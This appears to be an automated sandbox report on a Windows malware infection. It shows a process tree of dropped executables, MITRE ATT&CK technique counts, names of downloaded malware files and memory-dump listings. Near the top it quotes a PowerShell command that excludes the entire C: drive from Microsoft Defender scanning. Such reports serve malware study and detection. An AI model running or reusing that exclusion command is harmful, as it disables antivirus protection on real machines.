C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\KdzEregli.exeC:\Windows\KdzEregli.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\SystemUpdateCache\UpdateManager.exeC:\Windows\SystemUpdateCache\UpdateManager.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 8562⤵
- Program crash
-
-
C:\ProgramData\winmgr\syswinprdrvc.exeC:\ProgramData\winmgr\syswinprdrvc.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\dwm.exedwm.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\conhost.exe"C:\Users\Admin\AppData\Roaming\conhost.exe" ..1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5484 -ip 54841⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Users\Admin\AppData\Roaming\TP4A\Teleport-Assist\tp_assist.exe"C:\Users\Admin\AppData\Roaming\TP4A\Teleport-Assist\tp_assist.exe"1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"C:\Users\Admin\AppData\Local\Temp\Files\PowerRat.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\file_4b8d61b5a6f660b5.exeC:\Users\Admin\AppData\Local\Temp\Files\file_4b8d61b5a6f660b5.exe1⤵
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Discovery
Process Discovery
1Query Registry
3Remote System Discovery
1System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
3Internet Connection Discovery
2Wi-Fi Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
BasmDocu.exe
install.bat
HOW_TO_DECRYPT.txt
maza-qt.exe
StartupProfileData-NonInteractive
02.08.2022.exe
1.exe
1003b.exe
123.exe
444.exe
666.exe
Agentnov.exe
Amus.exe
AutoGuarder_2.3.7.350.exe
Brontok.exe
Complexo%20v4.exe
Darwin.exe
Forbes.exe
G7_Update.exe
Hive%20Ransomware.exe
Mova.exe
NoEscape.exe
PowerRat.exe
ScreenConnect.ClientSetup.exe
Steanings.exe
Xbest%20V1.exe
bnoaprihjatuasss.exe
builder.exe
darts-pixelit.exe
f1c106553ca64defbddc6d82476e8076.exe
file_4b8d61b5a6f660b5.exe
file_851477f5539ff9f4.exe
file_deaad5d12778941d.exe
icecast2_2.0.0_VULNERABLE.exe
javaw.exe
keylogger.exe
main.exe
maza-0.16.3-win64-setup-unsigned.exe
ntladlklthawd.exe
pclient.exe
pfntjejghjsdkr.exe
rmc.exe
snd16061.exe
svchost.exe
teleport-assist-windows.exe
x64-setup.exe
xmr.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-fibers-l1-1-1.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-kernel32-legacy-l1-1-1.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-sysinfo-l1-2-0.dll
base_library.zip
libffi-7.dll
python38.dll
ucrtbase.dll
__PSScriptPolicyTest_tymox1jg.mi1.ps1
eoTsPsP9ij.bat
StartMenu.dll
System.dll
modern-wizard.bmp
nsDialogs.dll
ioSpecial.ini
ioSpecial.ini
sa1ALcXpjc.bat
Ay6NG0F6W31r02DmYDfvXlcoXOiJ0g7CZGFgavsjaHVxbb7p79qA9PCcolLF.vbe
000002.dbtmp
CURRENT
log.0000000001
wallet.dat
wallet.dat
tp_assist.exe
client32.exe
Outlook Data File - wifegbhrja.pst
memory/720-780-0x0000000000900000-0x0000000000A9A000-memory.dmp
memory/1136-446-0x0000000000400000-0x000000000043C000-memory.dmp
memory/1200-769-0x0000000000400000-0x000000000040E000-memory.dmp
memory/1200-102-0x0000000000400000-0x000000000040E000-memory.dmp
memory/1236-5010-0x000001BC75060000-0x000001BC7507E000-memory.dmp
memory/1236-5046-0x000001BC756B0000-0x000001BC756BA000-memory.dmp
memory/1236-5011-0x000001BC755F0000-0x000001BC756A2000-memory.dmp
memory/1276-473-0x000000001BF70000-0x000000001BFBC000-memory.dmp
memory/1276-461-0x000000001C3E0000-0x000000001C4B8000-memory.dmp
memory/1276-460-0x0000000002EF0000-0x0000000002F6C000-memory.dmp
memory/1276-459-0x00000000005D0000-0x00000000006A2000-memory.dmp
memory/1476-766-0x0000000000890000-0x000000000298C000-memory.dmp
memory/1476-1142-0x0000000000890000-0x000000000298C000-memory.dmp
memory/1476-1147-0x0000000000890000-0x000000000298C000-memory.dmp
memory/1476-1156-0x0000000000890000-0x000000000298C000-memory.dmp
memory/1476-1082-0x0000000000890000-0x000000000298C000-memory.dmp
memory/1476-783-0x0000000000890000-0x000000000298C000-memory.dmp
memory/1848-674-0x000000006E5C0000-0x000000006E5CD000-memory.dmp
memory/1848-33-0x0000000000400000-0x0000000000472000-memory.dmp
memory/1848-41-0x0000000000400000-0x0000000000472000-memory.dmp
memory/1848-44-0x000000006D240000-0x000000006D24A000-memory.dmp
memory/1848-34-0x000000006E5C0000-0x000000006E5CD000-memory.dmp
memory/1848-13-0x000000000042D000-0x000000000042E000-memory.dmp
memory/1848-35-0x000000006EB40000-0x000000006EB4A000-memory.dmp
memory/1848-695-0x0000000000400000-0x0000000000472000-memory.dmp
memory/1848-673-0x0000000000400000-0x0000000000472000-memory.dmp
memory/1848-675-0x000000006EB40000-0x000000006EB4A000-memory.dmp
memory/1848-19-0x0000000000400000-0x0000000000472000-memory.dmp
memory/1848-676-0x000000006D240000-0x000000006D24A000-memory.dmp
memory/2248-625-0x0000000000260000-0x0000000000268000-memory.dmp
memory/2464-644-0x0000000000400000-0x00000000005CC000-memory.dmp
memory/2464-738-0x0000000000400000-0x00000000005CC000-memory.dmp
memory/2904-6453-0x0000000007020000-0x0000000007638000-memory.dmp
memory/2904-6403-0x0000000000AF0000-0x0000000000B42000-memory.dmp
memory/2904-6459-0x00000000056B0000-0x00000000056C2000-memory.dmp
memory/2904-6460-0x0000000005740000-0x000000000577C000-memory.dmp
memory/2904-6455-0x00000000058C0000-0x00000000059CA000-memory.dmp
memory/2904-6464-0x00000000057B0000-0x00000000057FC000-memory.dmp
memory/2940-770-0x0000000000E80000-0x00000000019BD000-memory.dmp
memory/2940-768-0x0000000000E80000-0x00000000019BD000-memory.dmp
memory/2940-720-0x0000000000E80000-0x00000000019BD000-memory.dmp
memory/2976-1103-0x0000000000400000-0x0000000000417000-memory.dmp
memory/2984-1107-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1115-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1114-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1113-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1116-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1112-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1105-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/2984-1111-0x000001C8A7FA0000-0x000001C8A7FA1000-memory.dmp
memory/3040-701-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-710-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-702-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-703-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-704-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-705-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-706-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-707-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3040-708-0x0000000140000000-0x000000014082E000-memory.dmp
memory/3056-677-0x0000000140000000-0x000000014014E000-memory.dmp
memory/3056-672-0x00000000001F0000-0x00000000001F1000-memory.dmp
memory/3176-4566-0x0000000000E90000-0x0000000003005000-memory.dmp
memory/3176-5048-0x0000000000E90000-0x0000000003005000-memory.dmp
memory/3176-4848-0x0000000000E90000-0x0000000003005000-memory.dmp
memory/3216-77-0x0000000000400000-0x0000000000416000-memory.dmp
memory/3216-62-0x0000000000400000-0x0000000000416000-memory.dmp
memory/3372-422-0x0000000000400000-0x0000000000582000-memory.dmp
memory/3372-429-0x0000000000400000-0x0000000000582000-memory.dmp
memory/3372-424-0x0000000000400000-0x0000000000582000-memory.dmp
memory/3372-423-0x0000000000400000-0x0000000000582000-memory.dmp
memory/3532-1118-0x0000000000F50000-0x00000000011B3000-memory.dmp
memory/3532-1158-0x0000000000F50000-0x00000000011B3000-memory.dmp
memory/3532-1117-0x0000000000F50000-0x00000000011B3000-memory.dmp
memory/3532-1151-0x0000000000F50000-0x00000000011B3000-memory.dmp
memory/3532-1144-0x0000000000F50000-0x00000000011B3000-memory.dmp
memory/3532-896-0x0000000000F50000-0x00000000011B3000-memory.dmp
memory/3972-1145-0x0000000000400000-0x000000000066C000-memory.dmp
memory/3972-1152-0x0000000000400000-0x000000000066C000-memory.dmp
memory/3972-989-0x0000000007FC0000-0x0000000007FD8000-memory.dmp
memory/3972-1159-0x0000000000400000-0x000000000066C000-memory.dmp
memory/3972-1102-0x0000000003B10000-0x0000000003B1A000-memory.dmp
memory/3972-981-0x0000000005480000-0x0000000005497000-memory.dmp
memory/3972-1101-0x0000000003A30000-0x0000000003AC2000-memory.dmp
memory/3972-1139-0x0000000000400000-0x000000000066C000-memory.dmp
memory/3988-697-0x0000000005CC0000-0x000000000601B000-memory.dmp
memory/3988-712-0x00000000062F0000-0x000000000633C000-memory.dmp
memory/3988-765-0x00000000075C0000-0x0000000007663000-memory.dmp
memory/3988-762-0x000000006B670000-0x000000006B6BC000-memory.dmp
memory/4212-1153-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4212-1146-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4212-1057-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4212-760-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4212-895-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4212-1140-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4212-773-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/4468-325-0x00000000027F0000-0x00000000027F1000-memory.dmp
memory/4468-324-0x00000000004A0000-0x0000000000560000-memory.dmp
memory/4512-630-0x00000000050E0000-0x0000000005146000-memory.dmp
memory/4512-652-0x0000000007020000-0x000000000703A000-memory.dmp
memory/4512-628-0x0000000004FD0000-0x0000000004FF2000-memory.dmp
memory/4512-634-0x0000000005CB0000-0x0000000005CCE000-memory.dmp
memory/4512-651-0x0000000007660000-0x0000000007CDC000-memory.dmp
memory/4512-629-0x0000000005070000-0x00000000050D6000-memory.dmp
memory/4512-649-0x0000000006ED0000-0x0000000006EF0000-memory.dmp
memory/4512-635-0x0000000005D60000-0x0000000005DAC000-memory.dmp
memory/4512-627-0x0000000005200000-0x000000000584A000-memory.dmp
memory/4512-626-0x0000000002470000-0x00000000024A6000-memory.dmp
memory/4512-646-0x000000006B540000-0x000000006B58C000-memory.dmp
memory/4512-650-0x0000000006EF0000-0x0000000006F93000-memory.dmp
memory/4512-645-0x00000000062C0000-0x00000000062F6000-memory.dmp
memory/4512-659-0x0000000007090000-0x000000000709A000-memory.dmp
memory/4512-633-0x0000000005850000-0x0000000005BAB000-memory.dmp
memory/4512-661-0x0000000007290000-0x0000000007326000-memory.dmp
memory/4644-32-0x0000000074710000-0x0000000074ECC000-memory.dmp
memory/4644-0-0x0000000074722000-0x0000000074723000-memory.dmp
memory/4644-31-0x0000000074722000-0x0000000074723000-memory.dmp
memory/4644-3-0x0000000074710000-0x0000000074ECC000-memory.dmp
memory/4644-2-0x0000000005A10000-0x0000000005AAC000-memory.dmp
memory/4644-1-0x0000000000F10000-0x0000000000F18000-memory.dmp
memory/4672-146-0x00007FFE9C830000-0x00007FFE9C840000-memory.dmp
memory/4672-147-0x00007FFE9C830000-0x00007FFE9C840000-memory.dmp
memory/4672-145-0x00007FFE9F560000-0x00007FFE9F570000-memory.dmp
memory/4672-143-0x00007FFE9F560000-0x00007FFE9F570000-memory.dmp
memory/4672-142-0x00007FFE9F560000-0x00007FFE9F570000-memory.dmp
memory/4672-144-0x00007FFE9F560000-0x00007FFE9F570000-memory.dmp
memory/4672-141-0x00007FFE9F560000-0x00007FFE9F570000-memory.dmp
memory/5140-754-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/5140-761-0x0000000000A50000-0x0000000001604000-memory.dmp
memory/5548-5160-0x00007FFEBABF0000-0x00007FFEBACBD000-memory.dmp
memory/5548-4846-0x00007FFED6BE0000-0x00007FFED6BF9000-memory.dmp
memory/5548-4932-0x00007FFED6C00000-0x00007FFED6C24000-memory.dmp
memory/5548-4931-0x00007FFECF670000-0x00007FFECF6A3000-memory.dmp
memory/5548-4930-0x00007FFEB6200000-0x00007FFEB67F2000-memory.dmp
memory/5548-4934-0x00007FFEB4EC0000-0x00007FFEB53E9000-memory.dmp
memory/5548-4904-0x00007FFED18A0000-0x00007FFED18B9000-memory.dmp
memory/5548-4917-0x00007FFED73E0000-0x00007FFED73ED000-memory.dmp
memory/5548-5184-0x00007FFEB4EC0000-0x00007FFEB53E9000-memory.dmp
memory/5548-4850-0x00007FFEBA5D0000-0x00007FFEBA74E000-memory.dmp
memory/5548-4849-0x00007FFED4CE0000-0x00007FFED4D03000-memory.dmp
memory/5548-5049-0x00007FFEBA5D0000-0x00007FFEBA74E000-memory.dmp
memory/5548-5085-0x00007FFED18A0000-0x00007FFED18B9000-memory.dmp
memory/5548-4750-0x00007FFEB6200000-0x00007FFEB67F2000-memory.dmp
memory/5548-4933-0x00007FFEBABF0000-0x00007FFEBACBD000-memory.dmp
memory/5548-5153-0x00007FFECF670000-0x00007FFECF6A3000-memory.dmp
memory/5548-5034-0x00007FFED4CE0000-0x00007FFED4D03000-memory.dmp
memory/5548-4843-0x00007FFED6C60000-0x00007FFED6C8D000-memory.dmp
memory/5548-4765-0x00007FFED8CC0000-0x00007FFED8CCF000-memory.dmp
memory/5548-4760-0x00007FFED6C00000-0x00007FFED6C24000-memory.dmp
memory/5560-156-0x0000000000400000-0x000000000040E000-memory.dmp
memory/5812-88-0x0000000001240000-0x0000000001248000-memory.dmp
memory/5812-89-0x0000000005430000-0x000000000571E000-memory.dmp
memory/5812-90-0x0000000005140000-0x00000000051CE000-memory.dmp
memory/5812-91-0x0000000002AE0000-0x0000000002B02000-memory.dmp
memory/5812-92-0x00000000051D0000-0x000000000537C000-memory.dmp
memory/5812-93-0x0000000005CE0000-0x000000000629A000-memory.dmp
memory/5844-779-0x0000000000DA0000-0x0000000001920000-memory.dmp
memory/5844-771-0x0000000000DA0000-0x0000000001920000-memory.dmp
memory/5844-746-0x0000000000DA0000-0x0000000001920000-memory.dmp
memory/5932-4982-0x00000228628F0000-0x0000022862912000-memory.dmp
memory/6708-5151-0x0000026A20CB0000-0x0000026A20CB8000-memory.dmp